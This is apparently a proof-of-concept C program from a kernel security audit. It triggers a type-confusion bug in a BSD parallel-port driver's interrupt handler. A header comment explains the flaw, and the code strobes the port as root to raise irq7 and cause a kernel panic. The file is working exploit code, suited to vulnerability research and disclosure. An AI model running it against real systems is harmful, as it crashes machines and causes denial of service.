/*
 * DF-4806 PoC trigger: ppiintr() interrupt-argument type confusion.
 *
 * ppiopen() registers the interrupt handler as:
 *     BUS_SETUP_INTR(ppbus, ppidev, ppi->intr_resource, 0,
 *                    ppiintr, dev, ...)            <-- dev is the *cdev_t*
 * but ppiintr() does:
 *     device_t ppidev = (device_t)arg;             <-- treated as *device_t*
 *
 * On amd64, device_get_parent() reads offset 0x28 of 'struct bsd_device',
 * which lands on struct cdev's link.tqe_prev (the cdev TAILQ linkage).
 * The resulting bogus "ppbus" pointer is chased by ppb_rctr() ->
 * PPBUS_IO(device_get_parent(bogus), ...) -> wild deref at IRQ time
 * -> kernel page fault in interrupt context -> panic.
 *
 * Arming precondition (bug A, ppi.c:160): the legacy IRQ allocation omits
 * RF_SHAREABLE, so on a stock system (ppc0 already holds irq7 shareable,
 * ppc.c:1882) intr_resource is always NULL and the handler is never
 * registered.  The audit's arming.diff adds the missing RF_SHAREABLE --
 * the minimal, independently-correct fix that makes PERIPH_1284 mode
 * functional -- which registers ppiintr and arms the type confusion (bug B).
 *
 * Usage (root): ./ppi_intr_panic
 *   1. open /dev/ppi0           -> ppiintr registered (arg = cdev_t)
 *   2. open /dev/io             -> iopl for port access
 *   3. mimic the lpt strobe that QEMU's emulated printer ACKs -> irq7
 * Expected on the unpatched (armed) module: instant kernel panic
 * ("Fatal page fault"/"double fault" in interrupt context).
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

static inline void
outb(unsigned short port, unsigned char val)
{
	__asm __volatile("outb %0,%1"::"a"(val), "d"(port));
}

static inline unsigned char
inb(unsigned short port)
{
	unsigned char v;
	__asm __volatile("inb %1,%0":"=a"(v):"d"(port));
	return (v);
}

int
main(int argc, char **argv)
{
	int fd, io, i;

	fd = open("/dev/ppi0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/ppi0");
		return (1);
	}
	printf("[+] /dev/ppi0 opened - ppiintr registered on irq7 (arg=cdev_t)\n");
	fflush(stdout);

	io = open("/dev/io", O_RDONLY);
	if (io < 0) {
		perror("open /dev/io");
		return (1);
	}
	printf("[+] /dev/io opened (iopl granted); status=0x%02x ctl=0x%02x\n",
	    inb(0x379), inb(0x37a));
	fflush(stdout);

	/* Enable the port IRQ line (control |= IRQENABLE|nINIT|SELECTIN) */
	outb(0x37a, 0x1c);
	usleep(1000);

	for (i = 0; i < 8; i++) {
		/* data byte out; the emulated printer ACKs each strobe -> irq7 */
		outb(0x378, (unsigned char)(0x41 + i));
		usleep(1000);
		outb(0x37a, 0x1d);	/* strobe pulse */
		usleep(3);
		outb(0x37a, 0x1c);
		usleep(50000);
		printf("[+] strobed byte %d, status=0x%02x - still alive\n",
		    i, inb(0x379));
		fflush(stdout);
	}

	printf("[-] survived %d strobes; no interrupt was delivered to ppiintr\n",
	    i);
	return (2);
}
